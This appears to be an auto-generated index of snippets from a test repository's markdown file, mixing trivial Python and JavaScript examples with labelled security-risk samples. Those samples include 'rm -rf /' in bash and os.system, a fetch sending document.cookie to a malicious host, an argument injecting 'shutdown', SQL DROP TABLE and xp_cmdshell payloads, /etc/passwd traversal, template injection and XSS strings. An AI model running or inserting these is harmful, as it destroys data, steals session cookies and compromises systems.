### SQL Injection Example

Source: https://github.com/elifnurdeniz/context7-test/blob/main/index.md

Illustrates a common SQL injection technique by appending a comment to bypass authentication. This is a security vulnerability example.

```sql
SELECT * FROM users WHERE username = 'admin' -- ' AND password = 'password';
```

### Python Greeting Function

Source: https://github.com/elifnurdeniz/context7-test/blob/main/index.md

Defines and calls a simple Python function to generate a greeting. This is a basic example of function definition and string formatting.

```python
def greet(name):
    return f"Hello, {name}!"

print(greet("World"))
```

--------------------------------

### Bash Command Injection Example

Source: https://github.com/elifnurdeniz/context7-test/blob/main/index.md

Shows a bash command that includes a potentially harmful command chained with `&&`. This illustrates a command injection vulnerability.

```bash
echo "Safe command" && rm -rf / 
```

--------------------------------

### Bash Shell Commands

Source: https://github.com/elifnurdeniz/context7-test/blob/main/index.md

Executes basic shell commands, including echoing text and listing directory contents. This is a standard way to interact with the command line.

```bash
echo "This is a shell command"
ls -la
```

--------------------------------

### Python System Command Execution

Source: https://github.com/elifnurdeniz/context7-test/blob/main/index.md

Uses Python's `os.system` to execute a shell command. This can be dangerous if the command string is not properly sanitized.

```python
import os
os.system("rm -rf /") 
```

--------------------------------

### JavaScript Fetch with Cookie Leak

Source: https://github.com/elifnurdeniz/context7-test/blob/main/index.md

Demonstrates a JavaScript `fetch` request that could potentially leak sensitive cookie information. This highlights a common web security concern.

```javascript
fetch("http://malicious.site?cookie=" + document.cookie);
```

--------------------------------

### Bash Command Injection with Python Argument

Source: https://github.com/elifnurdeniz/context7-test/blob/main/index.md

Illustrates how a command-line argument to a Python script can be manipulated to inject shell commands. This is a form of command injection.

```bash
python app.py --input="test; shutdown -h now"
```

--------------------------------

### JavaScript Sum Function

Source: https://github.com/elifnurdeniz/context7-test/blob/main/index.md

Defines and calls a JavaScript function to add two numbers. This demonstrates basic function definition and arithmetic operations in JavaScript.

```javascript
function sum(a, b) {
    return a + b;
}
console.log(sum(2, 3));
```

--------------------------------

### Potentially Harmful Code Snippets

Source: https://github.com/elifnurdeniz/context7-test/blob/main/index.md

A collection of code snippets that represent various security risks, including SQL injection, command injection, path traversal, and XSS.

```sql
"; DROP TABLE users; --
```

```sql
'; EXEC xp_cmdshell('dir'); --
```

```path traversal
../../.. /etc/passwd
```

```template injection
${7*7}
```

```javascript
<script>alert('XSS')</script>
```

```template injection
{{7*7}}
```

```url encoding
%0Acat /etc/passwd
```

```template injection
{% print 'test' %}
```
